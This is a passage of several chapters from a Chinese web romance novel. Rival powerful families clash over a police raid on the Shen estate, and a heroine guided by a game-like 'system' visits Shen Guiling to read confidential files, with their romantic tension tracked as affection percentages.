灯火霓裳,橘黄的光影笼罩在身上让他看上去孤独又安静。 莫然看恍了神,直到沈归灵的眼神看过来才猛然惊醒。 “有事?”少年主动开口。 莫然将橙汁放在案几上,从口袋里拿出一个小硬盘,态度恭敬,“少爷,这是鲸港那边的消息。” 沈归灵将手机翻转,抬手端起橙汁喝了一口。 经过这段时间的相处,莫然已经不敢把眼前的少年当成同年龄的小孩糊弄,主动解释:“这是先生的意思,国会政务繁多,先生分身乏术,以后局域情报的事就由少爷负责。” 沈归灵放下橙汁,不急不慢接过莫然手里的硬盘。 “告诉父亲,我会处理好的。” “是。”莫然点头,刚转身忽然想到什么,犹豫片刻又折了回来,“阿灵少爷,之前局域情报都是夫人在负责。” 沈归灵看了莫然一眼,笑了笑,眉眼温和,“知道了。” 莫然垂眸,躬身退出了房间。 待门掩上,沈归灵眼底的笑意顷刻间消失,毫无兴致将硬盘丢在一边。 他转头托腮,眸光淡淡看着天边的明月,指尖毫无意识点了点手机。 屏幕骤亮,停留的页面正是AI智能百科。 --九朵粉玫瑰代表:初恋,喜欢你 …… 第315章 各自图谋 屋内的暖气宜人,经过一个晚上的滋养,粉色玫瑰花瓣全数绽放,露出娇嫩的花心香气宜人。 姜花衫闻着花香转醒,迷迷糊糊揉了揉眼睛。 恍了一会儿神,习惯性拿起手机看时间,这才发现界面有一条弹框消息。 她懒懒打了个哈欠,点开信息。 【沈龟灵:白峥的资料现在不方便给你,等我从南湾回来。】 不方便? 姜花衫瞬间清醒,翻身跳下床,趿拉着乌龟拖鞋冲进洗漱间,有什么不方便的? 这死绿茶肯定又想找借口推脱。 * 冬日艳阳延续到了第二天。 沈园前坪一亩地停摆着黑色长龙。 傅嘉盛率先下车,目光森冷扫了一眼沈园上方的牌匾,转身拉开后座车门,“爸。” 傅岭南穿着黑色夹袄唐装,手里攥着两只盘得油亮的黑核桃,与此同时,一群身形魁梧的西装保镖跟着走下车。 “去,敲门。” 傅家管事正欲上前,沈园的仙鹤铜门先一步从里面慢慢敞开。 高止单枪匹马走了出来,脸上毫无波澜,“傅老爷子大驾光临有失远迎,我家少爷已经备好热茶,老爷子请。” 傅岭南慢慢转动手里的核桃,眼里泛着阴冷的笑,“好,沈老教了个好孙子,今天我就替老友考教考教。” 高止垂头,让出一条路。 傅岭南跨步往前,傅嘉盛朝身后使了个眼色,保镖伺机而动。 高止掀了掀眼皮,在傅岭南跨过门槛时双手抱胸横挡在傅嘉盛之前。 傅岭南微微眯眼,转头看着高止。 高止面不改色,“傅老爷子见谅,沈园有规矩,一不招待阿猫阿狗,二不允许夹带私货,少爷说了,沈家的茶珍贵,不是什么人都喝的起的,贵茶只招待贵客。” 傅嘉盛看了傅岭南一眼,转头怒道:“你们沈家没人了?要一个小辈在这指手画脚?” 高止,“傅先生见谅,并非家中没有长辈,而是我家老爷子为国出访不在鲸港,沈先生刚入国会不得空闲,沈二沈四先生为南湾暴乱筹款去了,少爷说了,家事不比国事大,既然傅家选择了长辈们不得空闲的时间造访,那就只能委屈让他一个晚辈接待了。” 名利场的人都生了七窍玲珑心,哪会听不出沈兰晞这是在笑话傅家没胆? “……” 傅嘉盛位居鲸港总警署署长,这辈子还没人敢这么跟他说话,冷笑道,“那可真是不凑巧了。我司接到群众匿名举报,说沈园私藏大量军火弹药,职责在身等不了沈老爷子回港了。” 说罢,朝身后的傅管事使了个眼色。 高止依旧不为所动,抬手拦住傅嘉盛的去路,“傅先生可有搜查令?” 身后的下属立马递上事先准备好的搜查令,傅嘉盛转手甩在高止脸上,“滚!” 高止垂头,往后退了一步。 傅嘉盛冷着脸跨过门槛,“都愣着做什么,进去搜!都给我搜仔细了!” 傅岭南装聋作哑,笑着看向高止,“现在可以领我去见你们少爷了?” 高止点头,“傅老请随我来。” 沈园分前后两院,前院会客,后院为居所,往常只有前院对外开放,后院除了沈家人鲜少出入。 这是A国上层都知道的规矩。 总警署的人显然是有备而来,一入沈园便直奔后院,傅嘉盛紧随其后。 高止见状并不阻拦,领着傅岭南直奔前院正厅。 傅岭南瞧着情况有些不对,琢磨片刻忽然察觉到了什么。 不好! 方才说的是沈家老大、老二、老四不在,可没说老五沈让! 沈家黑白制衡,今天白的全部不在,这是要黑吃黑! 傅岭南脚步一顿,转头看向对面的廊庑,正欲动身,一墙之外忽然惊起一声枪响。 紧接着,枪声如煮沸的热粥一下炸开了锅。 竟然在自己内院交火,傅岭南只觉浑身气血被抽干,冷汗湿襟看向正厅的十二道花门。 吓死了吧?老不羞!菜鸡少爷只是谈恋爱不行,又不是什么都不行。 为免人设崩塌,高止努力板正脸,“傅老爷子,里面请。” 傅岭南收拢掌心,思量片刻转身向正厅走去。 他就不信了,傅家的地位摆在这,沈家这小太子还敢在沈园对他动手不成?! * 周宅。 “什么?!打出去了?” 周国潮因着周绮珊的事一直精神不振,最近连戏台子都不搭了,猛地听见傅岭南被沈兰晞打出沈园,顿时垂死病中惊坐起,一下来了精神。 “说清楚,怎么个打法?连傅家老头一块打了?” 周家管事连忙给周国潮倒茶。 “具体怎么个打法现下没个统一的说法,不过傅嘉盛带着搜查令去沈园这事是藏不住了,沈园院里动静太大,还有枪声,应该是动了真家伙。搜查的事到后来也没了下文,听说傅家父子出了沈园连家都没回,直接去的医院。” “……” 这可比戏文精彩多了,周国潮一扫连日来的阴霾,摇头感叹,“没想到沈兰晞那小子平时半天蹦不出一个屁,下手竟然这么狠?比他爷爷还硬气三分。” 说罢,又转头看向身边的少年,“阿珩,你可要当心了,这小子不比你逊色。” “不过……”周国潮思忖片刻,低头啜了一口茶,“还是年少气盛了点,沉不住气。” 周宴珩笑了笑,抬眸看向周管家,“那张搜查令后来怎么样了?” 周管家眼中略有惊讶,他正要说这件事,“沈家现在拿着傅家的搜查令控告傅嘉盛以权谋私,执法不明。” 周国潮皱眉,“怎么个事?” “A国民法规定,搜查令由检察院下达,傅嘉盛作为总署长只有执行权并无颁布权。” 周国潮一下明白了里面的蹊跷,“搜查令没过检察院?” 周管家点头,“检察院那边说收到了申请,但总院并未批复,现在要连同沈家一起追究傅嘉盛妨碍司法公正。” 检察院上面是国会,总警署上面是国务院,现在国会由沈谦把持,检察院的态度就是沈家的态度。 至于国务院,苏家老大可不就是国务院主理? 难不成这里面还有苏家的事? 周国潮不咸不淡睨了周宴珩一眼,“你小子早猜到了?” 周宴珩,“爷爷您太看的起我了,我哪能知道沈家、苏家筹谋什么?我不过正好懂沈兰晞而已。” 周国潮更是一头雾水,“你懂他?你俩八竿子打不着一块,你懂他什么?” 周宴珩,“我和他喜欢的东西都一样,多少还是懂一点的。” 那天在暗巷,他亲眼看着沈兰晞送花,不过,沈兰晞也看见了他。 …… 第316章 请君入瓮 周国潮放下茶杯,上下打量眼前的少年,“太阳从西边出来了?你有喜欢的东西?这次又是多久啊?” 权势、名利,这些周宴珩从出生就有,毫不夸张的说,顺风顺水的人生就是想要天上的星星也唾手可得,以至于他对任何事物只有鉴赏没有喜欢,所有东西一旦过了鉴赏期便毫无兴致。 他这毛病,家里人都知道。 话音刚落,大厅的电话响了起来,周管家看了周国潮一眼,上前接听。 “是。” 片刻后,周管家挂了电话,转身看向周国潮,“老爷子,是傅家的电话,说傅老爷子请您过府喝茶。” 周宴珩站起身,“爷爷还是别操心我了,赶紧想想这次该怎么站队吧?” 周国潮没好气,“你回来!没看见我还气着吗?人家孙子都坐堂当家了,你不给出出主意?” 周宴珩摇头,“现在还是算了吧,爷爷再等我几年。” 周国潮顿时不满了,拍着大腿坐起身,“等等等,隔壁沈老头的孙子都敢对着傅岭南开枪了,我什么时候能享着你的福?” 周宴珩脚步一顿,略带思索,“爷爷要是比这个,我明天能让那老头死,您要吗?” “……”周国潮顿然语塞,知孙莫若爷,别人是说说,但周宴珩是真敢。 反应过来的周国潮勃然大怒,跳脚痛斥,“你是想我死吗?还是想周家跟着一起倒台?你以为傅家那么好动?高铁轻轨的所有资源都在傅家手里,他们握着A国半数运输,傅家要出事,A国半边交通都要瘫痪,你想过没有?” 一个个的都是讨债鬼! 周宴珩神情淡淡,“所以刚刚不是让爷爷等我几年吗?把傅家的资源吃了不就可以动手了?” 说的简单,哪有这么容易?四大家族斡旋了这么久,也没见谁吞了谁。 周国潮没好气,“行了,你还是赶紧收收心,军政学府教考第一名有军绩学分,可别又输给了沈兰晞,让人笑话我们周家是万年老二。” 周宴珩扯了扯嘴角,“知道了。” * 沈园。 沈让正命令暗堂收拾战场。 沈兰晞领着高止从外院而入。 “五叔辛苦了。” “一家人说什么客套话,”沈让满脸红光,拍了拍沈兰晞的肩膀,“好!有你父亲的影子。” 沈兰晞礼貌颔首,“五叔,傅家这次吃了亏绝对不会善罢甘休,沈家倒是不惧,不过……” 沈让点头,“我明白,那几个丫头我会派人时刻看着。” 沈家把傅潇潇扒光了吊在飞机上游城一圈,这种奇耻大辱傅家不可能咽得下,今天找茬不成说不定会把主意打在沈家姑娘的头上,即便沈兰晞不说,沈让也早有防备。 “五叔费心了。” 两人寒暄了几句,沈兰晞直接回了内院。 穿过廊桥时,目光不由绣楼满墙的月季吸引,沈兰晞思忖片刻,径直走向菊园。 开窍了?! 高止不动声色紧随其后。 张茹正坐在花架前包饺子,冷不丁看见沈兰晞推门而入,连忙站起身,手脚局促上前问好,“兰晞少爷,您怎么来了?” 沈兰晞目光在张茹脸上停留了片刻,温声,“衫衫呢?” 张茹看了绣楼一眼,“还……还在睡。” 沈兰晞转身,直接上楼。 张茹眼皮跳了跳,赶紧跟了上去,“那个,兰晞少爷,姜小姐还在睡觉,您这么硬闯不合礼数。” 高止默默拉了张茹一把,沈兰晞直接推开卧室的门,大步走了进去。 “兰晞少爷!”张茹暗叫不好,追着跑进屋。 沈兰晞环顾一周,“人呢?” 张茹抓着手里的围裙,“姜小姐出去了。” 沈兰晞走到窗台边,看着竞相盛放的玫瑰,眼里的情绪逐渐变冷,“去哪了?” 如果只是出去玩张茹不会这么紧张。 张茹眼看瞒不住,低下头,“姜小姐说她去南湾找阿灵少爷了。” 嚯!big胆! 高止小心看了沈兰晞一眼,不动声色往后退了一步。 沈兰晞沉默了片刻,抬手拨弄花瓣,“她一个人?” 张茹摇头,“不是,有雷管家跟着。” 沈兰晞抬眸,透过花窗看着对面的竹园。 * 南湾政府大楼。 沈谦已经顺利进入国会,南湾事宜也正慢慢回归于正轨。 沈归灵刚从渡口回来,海边湿冷,眉梢还挂着霜气,一露面立马有人上前报告工作。 “沈秘书,这是社会各界人士对此次南湾渡口的捐赠,另外政府举办的答谢宴也已经敲定了,这是宣发时间,您过目。” 沈归灵接过资料,仔细看了一遍,“让他们把名单再核对一遍,其他的资料先交给莫助理。” “是。” 莫然端着提前冲泡好的姜茶迎上前,表情严肃,“少爷,有客人到了。” 沈归灵接过姜茶,往办公室看了一眼,刚抬腿,莫然又小声说道,“少爷小心,来者不善。” “……” 沈归灵噙着笑,淡定自若推门而入。 房门推开的瞬间,办公桌的皮椅一百八度旋转。 沈归灵眼中的笑意顿然消失,手中的姜茶慢慢荡出涟漪。 椅子里人双手抱胸,吊梢着桃花眼打量他。 “阿灵少爷。”雷行蹲在角落,看见沈归灵跟看见救星似的,一把冲上前。 “阿灵少爷,我不是故意带姜小姐来添乱的,实在是姜小姐太过分了,她说我要不同意,她就冤枉我勾引张茹,还要让老爷子把我赶出沈家。” 沈园上下都知道,沈老爷子英明神武,偏偏就听姜花衫的谗言,就连沈家的先生少爷都避着,何况是他们? 沈归灵看了姜花衫一眼,温声,“知道了,先出去吧。” 雷行深觉愧疚,无言面对沈归灵,垂头丧气走出办公室。 莫然往里面看了一眼,默默带上门。 …… 第317章 伺机而动 门缝的最后一丝光被完美合上,屋内的气氛微妙又有几分耐人寻味。 姜花衫盯着沈归灵打量,原本以她突然出现绿茶龟肯定会吓一跳,没想到一点反应都没有。 沈归灵站了一会儿,直到手中的姜茶完全趋于平静才慢慢向她走去。 两人隔着一步远的距离,他能一眼看到她眼底的自己和被霜气打湿的长睫毛。 沈归灵递上姜茶,“先暖暖身子。” 姜花衫推开,“我不冷。” 从下了车,她一路小跑找到沈归灵的办公室,现在身体还因为跑的太猛全身发烫,只不过不好表现出来。 沈归灵默默收拢指尖,改成五指抓着杯柄。姜花衫推杯时,掌心无意中碰到了他的指尖。 姜茶又开始荡起一圈一圈涟漪。 “……” 沈归灵垂眸,默默喝了一口茶。 姜花衫调整坐姿,严肃敲了敲桌面,“你不是说不方便吗?现在我来了,你把资料给我吧。” 沈归灵放下茶杯,“资料不在这里。” 姜花衫站起身,皱眉打量他,“沈龟灵,你该不会耍我吧?” 沈归灵扫了四周一眼,“这里是政府大楼,是我临时办公的地方,你觉得我会把那么重要的资料放在这吗?” 这么说好像也有道理,姜花衫又坐了回去,“那你放哪了?” 沈归灵,“自然是我现在住的地方。”他一本正经看了看手表,“我下午还有个会,走不开,你要是等不急我让莫然先送你过去,等我忙完再拿给你?” “去你家?”姜花衫立马挺直腰杆,眼神幽暗。 沈归灵,“你这什么眼神?我爸的人还盯着我,不回家我怎么拿给你?或者……你在车里等,我让雷行拿给你?” 姜花衫轻咳,撑头转过脸微微思索。 心动指标一直徘徊在99%也不是办法,要不伺机而动拿下那1%? 现在的剧目越来越变态了,她不拿点奖励只怕以后难以抗衡,绥尔的任务奖励是【无与伦比的幸运】,沈龟灵作为男主,奖励肯定不会差。 姜花衫想的深入,指尖极有规律敲击着桌面。 沈龟灵现在年纪还小,好骗,以后长大浑身上下都是心眼子只怕这百分之一更不好拿了。 再说,这件事也不能全怪她,谁让沈龟灵上来就送99%的超爱,这搁谁谁不迷糊,谁会忍住不薅这羊毛? 沈归灵盯着她泛红的指尖,低头喝茶。 过了一会儿,姜花衫握拳,拍案而起,“决定了,今晚我就住你家了。” “咳咳咳——” 沈归灵不防,姜茶呛进了食道,咳的眼泪都出来了。 这就乱了阵脚? 姜花衫强行忍住翘起的嘴角,一本正经,“我刚刚想了想,你这资料我拿回沈园看也不适合,不如在你这消化。” 沈归灵没接话,缓了一口气默默抽纸擦嘴。 怎么这死反应,难不成那99%的心动是假的? 还是这进展太快吓着他了? 沈归灵将擦拭的纸巾揉成一团攥在掌心,点头,“可以,不过资料有点多,只怕你一个晚上消化不完,我让莫助理给你准备好单独的房间,你可以放心使用。” 既可以薅羊毛又可以探索新剧情,一时想不到拒绝的理由。 姜花衫抿嘴,朝沈归灵露了个甜甜的笑,“麻烦你了,阿灵哥~” 沈归灵挑眉。 【叮——】 【警告,宝藏剧情心动篇之《拯救小可怜》反弹,完成度下降百分之一】 有病吧! 姜花衫笑容顿时凝固,嘴角抽搐看着沈归灵。 “我去跟莫助理交代一下。” 沈归灵转身,嘴角不觉翘了翘。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99%】 姜花衫,“……” * 沈园,茶室。 沈兰晞把傅家人打出沈园的消息在鲸港上层圈不胫而走,就连沈谦都打电话回来询问缘由,沈兰晞为了应付几位叔伯的质问,一天下来连水都没喝几口。 沈让见他脸色不好,以为是不喜长辈们的指责,笑着宽慰,“他们不知道你的本事,有担忧也是人之常情,怎么?这就不开心了?” 沈兰晞摇头,“五叔误会了,跟叔伯们无关。” “跟他们无关?那是?” 沈兰晞主动替沈让倒茶,神情淡淡,“不说这些,苏家那边怎么样了?” “苏家?”沈让顿时眼睛一亮,绘声绘色,“苏家这次也算硬气了,先是国务院颁布暂停傅嘉盛总署长一切职务,后来检察院连下三张搜查令,将西林教堂、棚户赌场、以及圣安医院翻了个底朝天。” “这些都不是关键,最关键的是有人匿名举报傅家与三年前姚俊卖国一案有牵扯,鲸港当局已经受理了。” 当年姚家何等风光?就因为金山卖地案,姚家转眼就被挤下了金字塔尖,卖国的罪名,谁沾谁死,苏家这是下了死手。 沈让大喊痛快,一脸好奇:“你一早就猜到苏家会动真格?” 越是鼎盛的家族,越不可轻易树敌,两虎相争必有一伤,落不好自己也要被一旁觊觎的野兽吞噬,大族之间就是明白这个道理才没有人敢轻易打破平衡。 苏家这一仗可谓是捅破了平衡这层窗户纸,意义非凡。 沈兰晞,“家主也是人,只要苏家还是只猛虎,被人咬了脸就没有不反击的道理。” 沈让点头,愈发觉得沈兰晞有沈家继承人的样子了。 茶汤见底,高止畏畏缩缩进屋。 “少爷。” 沈兰晞撩了他一眼。 高止掀着眼皮望天,“南湾那边来电话了,姜小姐已经安全抵达,少爷您不用担心了。” 沈让完全不知眼前是什么修罗场,愣了愣,“怎么?衫衫去南湾找阿灵了?” 不等高止回答,沈让又自顾自话,“苏家的事衫衫肯定也吓的不轻,她跟阿灵交好,或许是找他倾诉去了。” 白峥事件后,沈家所有人都觉得姜花衫和沈归灵关系匪浅,两人因为身份敏感,惺惺相惜。 高止飞快翻了个白眼,要不是碍于沈让的身份,他差点没忍住上手一个大逼兜。 知道现在什么情况吗?就敢乱接话? 沈兰晞脸上看不出情绪,“还说了什么?” 高止低头看着脚尖,语速飞快,“还说要住几天。” 沈兰晞微顿,眼底的光沉了下去。 沈让浑然不觉,拿着杯子讨水,“诶,衫衫想玩就让她多玩几天吧,苏家和傅家的事没闹明白之前学校暂时别去了,南湾是沈家的地盘,有阿灵护着,衫衫不会有什么事的。” 沈兰晞抬眸看了沈让一眼,端起茶盏倒茶,待水没过盏口才慢慢起身。 “五叔自便。” “诶!?话还没说完你去哪?”沈让一头雾水看向高止,“这是怎么了?” 怎么了?被人戳脊梁骨了怎么了?胖老登,不会说话就别说话。 高止微微颔首,“告辞,五爷自便。” 啧,又要去哄菜鸡少爷了,一天到晚受不完的情伤,烦死了! …… 第318章 水深火热 南湾。 夜幕降临,海港城亮起了千万星灯。 “沈龟灵这段时间就住这里?” 沈谦给沈归灵安排的住所是一套300平全景临港大平层,采光好视野极佳,临窗眺望,港口、城市尽收眼底。 姜花衫驻足窗边看的出神。 莫然给她倒了一杯热水,态度恭敬,“是,这里离政府大楼近,上下班方便。” 姜花衫回头打量莫然,“南湾夜宴那天我见过你,你……不是大伯母身边的助理吗?” 莫然不知姜花衫的脾性,只知道她在沈家尤其受宠,斟酌着回道,“夫人身体抱恙需要静养,先生担心少爷初到南湾不适应,便吩咐我过来照料一二。” “噢~” 原来是沈谦的眼线,姜花衫恍然,笑着接过莫然的水。 莫然不知眼前的小姑娘在想什么,看了看时间,“姜小姐,阿灵少爷还在开会,估计没有时间陪您吃晚饭了,您的房间已经收拾好了,不如您先洗个澡?我去给您准备晚餐?” 姜花衫不由好奇,“你还会做饭?” 莫然,“会一点,姜小姐有什么特别想吃的吗?” 姜花衫摇头。 莫然又问,“西餐可以吗?” 姜花衫点头,身子微微后倾看向卧室。 没有人可以拒绝一个香香的花花,洗个澡? 她眼神一定,果断走向房间。 莫然立马反应过来,小步跟了上去。 虽然是临时准备的房间,但可以看出花了心思,连床品都换上了沈园绣楼同款。 姜花衫有些意外,随手摸了摸,连山茶花的款式都一模一样。 莫然知道她在想什么,笑着解释,“是少爷吩咐的,他怕您住不习惯。对了,洗浴用品也换了您常用的品牌,换洗的衣物也都是刚刚洗熨好的,您可以放心使用。” “……” 看来心动99%还真不是假的。 姜花衫情绪有些复杂,点点头,“知道了,麻烦你了。” “姜小姐您客气了。您自便,我先去准备晚餐了。”莫然守着分寸,轻轻关上门退出了房间。 姜花衫在原地站了一会儿,转头拿着浴巾进了淋浴间。 舒舒服服冲了个热水澡,开始实施计划。 衣橱里面挂了几件不同款式的睡衣,她认真对比了一圈,挑了件黑色吊带睡裙。 虽然裙子还有件外套,但是不妨碍发挥,她可以假装不经意撩拨露肩,这种含而不露才是高级的勾引! 趁着沈龟灵现在还没见过什么世面,赶紧下手,那1%还不手到擒来? 越想越靠谱,姜花衫一脸兴奋取下睡衣,正准备解下身上的浴袍,回头又看见绣满山茶花的真丝被褥。 “……” * 南湾临港,冬夜格外湿冷,屋里的暖气开的正旺,玻璃上结着一层薄薄的霜雾。 莫然看了看时间,表情凝重,都这个点了,阿灵少爷怎么还没回来?正犹豫要不要打个电话询问情况,大门便传来开锁的动静。 没等她反应,一身通体粉红身影从眼前窜过,唰的一下打开门。 态度极其恶劣:“你怎么才回来?你再不回来我都要睡着了!!” 沈归灵愣了愣,眼前的女孩儿穿着一件粉色的小猪睡衣,除了脸全身上下连脖子都裹在睡衣里。 缓回神,他低头打量,这才发现连脚都穿了拇指袜。 “你很冷?”他问。 姜花衫的脸跟煮熟的虾一样,“是啊,好冷!” 沈归灵侧身进屋,将手里的果篮递给莫然。 莫然接过果篮时愣了愣,赶紧递上干毛巾,“少爷,您吃饭了吗?” 沈归灵嗯了一声,脱下略带潮气的长衣,“莫助理,把打印机搬到客厅来,顺便再把暖气调高点。” 还要调高? 莫然看了看姜花衫,默默把温度调高了五度。 姜花衫,“……” 沈归灵指了指客厅中间的沙发,好脾气哄道,“今天的会议内容有些多所以晚了点,东西我都准备好了,你先去那坐会儿,我洗个澡就出来,很快。” 姜花衫向来吃软不吃硬,干巴巴点点头,“你快点啊!” 最后一刻她输给了道德良心,既然勾引不成,白峥的信息她一定要拿到手。 “好。” 沈归灵转头进了自己的房间。 莫然不动声色看了姜花衫一眼,拎着果篮走进厨房,没一会儿,莫然端着洗好的草莓放在姜花衫面前的茶几上。 “姜小姐,您试试,这是南湾基地新培育的白玉草莓,可甜了。” 姜花衫还在为自己没有穿黑色睡衣的事惋惜,敷衍点了点头,“知道了。” 莫然起身转去书房,把备用的打印机推了出来,确认设备联网无误后上前与姜花衫打招呼,“姜小姐,我先回去了。” 姜花衫一愣,“回去?你不住在这里吗?” 莫然失笑,“我是助理,少爷是老板,我怎么能住在这呢?”说罢点点头,拎着自己的公文包出了门。 “诶诶……” 姜花衫这才反应过来,今晚这个屋里只有她和沈归灵?!! 哎呀! 她气地感觉自己都要烧起来了,就应该穿那件黑色睡裙的,要什么脸啊!多好的机会啊! 现在回去换应该还来得及! 刚转身,身体瞬间僵硬。 沈归灵双手抱胸靠着过道,不知在那看了多久。 “你很热?”他又问了一句。 姜花衫恼羞成怒,“我不热,我冷的都发抖你没看见吗?” 沈归灵点头,不知从哪掏出个遥控器。 “滴——” 气温再加五度。 姜花衫,“……” …… 第319章 清醒的沉沦 玻璃爬满霜雾,城市霓虹变成了模糊的光影。 屋内温度三十一度半。 打印机嘎吱嘎吱忙碌个不停。 沈归灵抱着一沓资料摆在茶几上。 姜花衫扯着领口扇风,回头看着地上堆满的资料,栽倒在桌,“天啊,怎么还有啊?” 沈归灵从边柜拿出新的打印纸替上,起身看了看电脑,“还有300G没有打印。” “……”姜花衫爬起身,神智不清,“这么多,我就是看一年也看不完。” “不是你说要非删减版,事无巨细吗?”沈归灵又开始打印,“放心吧,一年肯定看的完,这些我三天就看完了。” 姜花衫拍了拍脸,强行打起精神。 直觉告诉她,白峥的资料里一定有她不知道的剧目,不能因为条件艰苦就放弃了。 她烦操扯了扯领口。 沈归灵转头看着她,“热吗?” 姜花衫憋着一口气,“不热,我渴。” 沈归灵想了想,起身走向进厨房。 姜花衫趁机赶紧拉下脖子处的拉链疯狂扇风,动作幅度太大,桌上的一页纸轻轻飘到了地砖上,她没在意随手捡起,目光顿然一怔。 《四十九号档案》! 白峥也和《四十九号档案》有关?! 姜花衫瞬间被吸引了全部注意力,沿着这条线开始翻找。 过了一会儿,沈归灵端着一杯草莓汁从厨房走了出来,见她埋头扎在一堆资料里也没有打扰,直接把草莓汁放在顺手的茶几上。 客厅地面铺了一张巨型的羊绒地毯,姜花衫双膝盘踞大大咧咧坐在地毯上。 沈归灵单手托腮斜靠着沙发,身体微微后仰,眼神漫无目的在女孩儿身上游走。 白峥的资料他都已经看过了,该过滤的信息也早就烂熟于心,眼前这些资料看似堆如山,实则都是他提前分门别类好的,姜花衫看哪沓,他就知道她想查什么?关心什么? 原本沈归灵以为,姜花衫最在意的会是白峥和沈谦的关系,毕竟她防方眉和沈谦跟防贼似的,但没想到,她竟然更关心白家与A国世族的利益关系。 《四十九号档案》里记录了A国所有与白峥有联系的名门望族和富商高官,里面人情往来复杂,利益纠纷更是骇人听闻,若不是这份资料机缘巧合被他窃取,这里面的信息根本不是他们现在这个层次可以接触的。 姜花衫越来越入神,沈归灵漫不经心的观摩渐渐变了味。 他忽然就不在意她看的什么资料,目光随着她的指尖偏移,那指尖透着肉粉色,明明只是纯洁地划过纸面,不知为何,他脑子里却有了别的画面。 这双手泛着比现在还漂亮的粉色,掌心拽着纯白的被单,抓出一条条折痕。 没由来的,心被挠了一下。 沈归灵忽然感觉有点热,轻哼了一声低下头,他默默舒了口气,极小幅度滚动喉结,调整好呼吸再次抬眸。 姜花衫看的口干舌燥,抬头看见桌上有杯草莓汁,想也没用起身啄了一口,她很懒,连杯子都懒得拿,拉开的领口因为身子前倾露出半截细白的脖颈,香肩要露不露,锁骨似藏非藏。 “嗯,好甜。” 原本就娇艳的唇又染上了草莓汁,她还作死舔了舔嘴角。 “砰——” 有人引以为傲的理智冰山轰塌了。 沈归灵猛地一下站起身,眼神极度克制。 “你先看,我回房处理一些事。”说完,也不等姜花衫反应,转头向主卧走去。 “诶!你再榨一杯草莓汁啊!”姜花衫抬头朝他喊道。 “砰——” 回应她的,是坚决冰冷的关门声。 “……” 姜花衫瞬间无语,顺手拿了张纸揉成一团对着房门砸去。 就这态度还是99%的心动值,那百分之一不要也罢! * 回到卧室,沈归灵还是觉得热,关了暖气关了灯,坐在床尾发起了呆。 他鲜少有这么失控的时候,理智告诉他,这种失控对现在的他来说不是好事,对将来他要做的事更会是致命的弱点。 应该要掐断的。 * 【叮——】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降百分之五十】 姜花衫一愣,从资料中抬起头,震惊不解看着卧室那道门。 她做了什么? 沈归灵在做什么? 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降百分之二十】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降百分之十】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降百分之九】 …… 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降百分之五】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降百分之四】 姜花衫麻了,等着最后爆灯。 但偏偏这个时候,剧目的提示音中断了。 姜花衫扣着手指算了算,这么说沈归灵的心动值就剩1%了? 她短暂沉默后脱下发烫的拇趾袜往沙发上用力甩去,端起草莓汁一饮而尽。 行吧!反正这心动值当初就当是捡了漏,现在拿回去也不妨碍什么?没有奖励,她一样可以对抗剧目。 打定主意,她继续埋头苦干。 时针从数字8转了半圈来到了第二天凌晨两点。 港口的船灯灭了一半,窗外霓虹阑珊。 巨幅落地玻璃倒映客厅里的景象,姜花衫歪着头趴在茶几上睡着了。 “咔——” 主卧的门再次打开,沈归灵从黑暗的房间走了出来,客厅的灯光有些刺眼,他有些不适,把灯光调暗。 灯光骤灭,只留了四束橘黄的光照着沙发。 沈归灵看了许久,最后迈动脚步走了过去。 姜花衫睡的很熟,一点要醒来的迹象都没有。 沈归灵慢慢走近,踩上地毯,弯膝半跪蹲下身。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99%】 …… 第320章 钓乌龟 如果理智能做选择,那就不是心动了。 所以,他输给了十八岁第一次心动的人。 视线齐平,沈归灵用胳膊撑着茶几,偏头打量着姜花衫入睡的眉眼。 睡着了倒是挺可爱。 他笑了笑,抬手拂过她落在鼻尖的碎发。 姜花衫感觉痒,摸了摸脸翻身从茶几上滑了下去。 沈归灵还没反应她就倒在了地毯上,也不知是太累了,还是地毯太舒服,姜花衫摔下后浑然不觉甚至还伸腿调整睡姿。 茶几与沙发之间的距离不算宽阔,中间还挤了两个人,姜花衫一蹬腿就踢到了沈归灵的跪坐的大腿上。 “……” 她霸道惯了,感觉踢不走又加重了力,圆润可爱的脚趾踩陷在黑色的丝绸里,一个个都变了形,细白的脚踝也露出了一大截。 沈归灵直起腰身,指尖划过柔软的地毯轻轻扣住她的脚踝,半身俯侵将她笼罩在身下。 他的眸光比外面的天色还黯。 “姜花衫?” 身下的人依旧睡的很沉。 沈归灵的目光落在她的唇上,这是喝了多少草莓汁颜色这么鲜亮? 不知想到什么,他呼吸都轻了几分,松开了姜花衫的脚踝轻轻托着她的脸。 想亲。 这念头如同春日疯长的野草,燎原之火一蓄而起。 呼吸间的交缠让他意乱情迷,沈归灵低下头,两瓣红唇即将叠覆交织的前一秒,他忽然惊醒,几乎是落荒而逃从地毯爬了起来。 他摸了摸自己的唇,扬汤止沸最终只会折了自己。 “……” 沈归灵回头看向睡着正香的始作俑者,这是他人生中第一次体会到了什么叫惹不起骂不得打不过又干不掉。 他认命,撑着沙发远离了一段,坐了好一会儿才从口袋里拿出手机。 “莫助理,很抱歉这么晚还打扰你……” * 二十分钟后。 莫然穿戴整齐出现在门外。 “阿灵少爷,出什么事了?” 沈归灵侧身,一派贵公子的温和模样,“没什么,麻烦莫助理把衫衫抱回房间。” “?”莫然明显呆滞了一下。 平心而论,沈归灵真的是个很好的老板,他从不会对下属发泄无用的情绪,对待工作时间和下班时间也很有边界感,即使莫然作为他的私人助理应该随叫随到,但沈归灵也从不会因为个人原因压榨莫然,正是因为知道沈归灵是什么样的人,莫然才一时没有反应过来。 “辛苦莫助理了,这件事算加班,酬劳我会额外补给你。”沈归灵神色如常,彬彬有礼。 “我不是这个意思,阿灵少爷您误会了。”莫然这才意识到自己反应太大了,连忙脱下外套背人。 姜花衫看着瘦,有肉的地方一点也不含糊,莫然没防备,一口气没上来两人险些一起栽倒,好在沈归灵眼明手快,及时托住了姜花衫的屁股才稳住了重心。 “不好意思啊少爷,您现在可以松手了。” 莫然调整呼吸,把姜花衫往背上提了提。 沈归灵看着自己的手,忽然意识到什么,火速收回,故作不在意转身收拾文件。 “莫助理,帮她把外套脱了,盖好被子。” “好的。” 